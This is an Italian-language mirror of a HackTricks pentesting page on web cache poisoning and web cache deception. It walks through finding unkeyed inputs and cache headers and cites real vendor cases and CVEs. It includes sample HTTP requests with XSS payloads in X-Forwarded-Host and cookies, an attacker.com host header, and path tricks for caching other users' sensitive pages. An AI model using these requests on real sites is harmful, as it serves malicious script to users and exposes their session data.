Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-25 06:00:40 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md

226 lines
20 KiB
Markdown
Raw Permalink Blame History

# Avvelenamento della cache e Inganno della cache
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## La differenza
> **Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?**
>
> * Nel **avvelenamento della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
> * Nell'**inganno della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.
## Avvelenamento della Cache
L'avvelenamento della cache mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.
L'esecuzione di un attacco di avvelenamento della cache comporta diversi passaggi:
1. **Identificazione degli Input non chiave**: Si tratta di parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
2. **Sfruttamento degli Input non chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo vantaggioso per l'attaccante.
3. **Garantire che la Risposta Avvelenata sia Memorizzata nella Cache**: L'ultimo passaggio consiste nel garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.
### Scoperta: Controllare gli header HTTP
Di solito, quando una risposta è **memorizzata nella cache** ci sarà un **header che lo indica**, puoi controllare a quali header prestare attenzione in questo post: [**Header di cache HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Scoperta: Memorizzazione del codice 400 nella cache
Se pensi che la risposta sia memorizzata in una cache, potresti provare a **inviare richieste con un header errato**, che dovrebbe ricevere un **codice di stato 400**. Poi prova ad accedere alla richiesta normalmente e se la **risposta è un codice di stato 400**, sai che è vulnerabile (e potresti persino eseguire un DoS).\
Un header mal configurato potrebbe essere solo `\:` come header.\
_Nota che a volte questi tipi di codici di stato non vengono memorizzati quindi questo test sarà inutile._
### Scoperta: Identificare ed valutare gli input non chiave
Potresti utilizzare [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) per **forzare i parametri e gli header** che potrebbero **cambiare la risposta della pagina**. Ad esempio, una pagina potrebbe utilizzare l'header `X-Forwarded-For` per indicare al client di caricare lo script da lì:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicitare una risposta dannosa dal server back-end
Con il parametro/header identificato, controlla come viene **sanitizzato** e **dove** viene **riflesso** o influisce sulla risposta dall'header. Puoi comunque abusarne (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)
### Ottenere la risposta memorizzata nella cache
Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**header** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.\
L'header **`X-Cache`** nella risposta potrebbe essere molto utile in quanto potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata nella cache.\
Anche l'header **`Cache-Control`** è interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà nuovamente memorizzata nella cache: `Cache-Control: public, max-age=1800`\
Un altro header interessante è **`Vary`**. Questo header viene spesso utilizzato per **indicare header aggiuntivi** che vengono considerati **parte della chiave di cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'`User-Agent` della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare `User-Agent`.\
Un altro header correlato alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
Quando si memorizza una richiesta, fai **attenzione agli header che utilizzi** perché alcuni di essi potrebbero essere **utilizzati in modo inaspettato** come **chiave** e la **vittima dovrà utilizzare lo stesso header**. Testa sempre un Cache Poisoning con **browser diversi** per verificare se funziona.
## Esempi di sfruttamento
### Esempio più semplice
Un header come `X-Forwarded-For` viene riflesso nella risposta non sanificata.\
Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà soggetto a un attacco XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
### Utilizzo dell'inganno della cache web per sfruttare le vulnerabilità di gestione dei cookie
I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache dannosa.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### Avviso che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache.
### Avvelenamento della cache con attraversamento del percorso per rubare la chiave API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Questa spiegazione**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) **illustra** come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché **qualsiasi cosa corrispondente a `/share/*`** verrà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** inoltra **tutte le richieste HTTP a HTTPS** e utilizza l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è indirizzata dal reindirizzamento.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Sfruttare con l'header `Vary` limitato
Se hai scoperto che l'header **`X-Host`** viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'header **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quell'User-Agent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Sfruttare l'Avvelenamento della Cache HTTP abusando dello Smuggling delle Richieste HTTP
Scopri qui come eseguire [attacchi di Avvelenamento della Cache abusando dello Smuggling delle Richieste HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Test automatico per l'Avvelenamento della Cache Web
Lo [Scanner di Vulnerabilità della Cache Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) può essere utilizzato per testare automaticamente l'avvelenamento della cache web. Supporta molte tecniche diverse ed è altamente personalizzabile.
Esempio di utilizzo: `wcvs -u example.com`
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Esempi Vulnerabili
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS inoltrava il frammento all'interno dell'URL senza rimuoverlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query.
### GitHub CP-DoS
L'invio di un valore errato nell'intestazione content-type attivava una risposta in cache 405. La chiave della cache conteneva il cookie, quindi era possibile attaccare solo gli utenti non autenticati.
### GitLab + GCP CP-DoS
GitLab utilizza i bucket GCP per memorizzare contenuti statici. I **Bucket GCP** supportano l'intestazione `x-http-method-override`. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo `PURGE`.
### Rack Middleware (Ruby on Rails)
Nelle applicazioni Ruby on Rails, spesso viene utilizzato il middleware Rack. Lo scopo del codice Rack è quello di prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a tale risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, creando un rischio per la sicurezza.
### 403 e Bucket di Archiviazione
Cloudflare in passato memorizzava le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata. Anche se Cloudflare ha smesso di memorizzare le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
### Iniezione di Parametri Chiave
Le cache spesso includono specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (ad esempio, `siz%65`) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro `size` corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro URL-encoded. L'URL-encoding del secondo parametro `size` portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache.
### Regole dell'User Agent
Alcuni sviluppatori bloccano le richieste con user-agent corrispondenti a strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironicamente, questo approccio può introdurre vulnerabilità come l'avvelenamento della cache e il DoS.
### Campi Intestazione Illegali
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header contenenti caratteri al di fuori dell'intervallo specificato di **tchar** dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra gli header con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione `cache-control` non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un header con un carattere non valido, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
### Trovare nuovi header
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Inganno della Cache
L'obiettivo dell'Inganno della Cache è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono di solito **configurate** per essere **salvate** nella **cache**. Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js` la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** con i **contenuti sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
Altre cose da testare:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Utilizzare estensioni meno conosciute come_ `.avif`
Un altro esempio molto chiaro può essere trovato in questo articolo: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Nell'esempio, si spiega che se si carica una pagina inesistente come _http://www.example.com/home.php/non-existent.css_ il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
Quindi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni confidenziali** degli utenti che hanno accesso in precedenza.
Nota che il **proxy della cache** dovrebbe essere **configurato** per **memorizzare** i file **in base** all'**estensione** del file (_.css_) e non in base al tipo di contenuto. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo mime `text/css` (che è quello atteso per un file _.css_).
Scopri qui come eseguire [attacchi di Inganno della Cache abusando dello Smuggling delle Richieste HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Strumenti Automatici
* [**toxicache**](https://github.com/xhzeem/toxicache): Scanner Golang per trovare vulnerabilità di avvelenamento della cache web in un elenco di URL e testare diverse tecniche di iniezione.
## Riferimenti
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
Reference in a new issue View git blame Copy permalink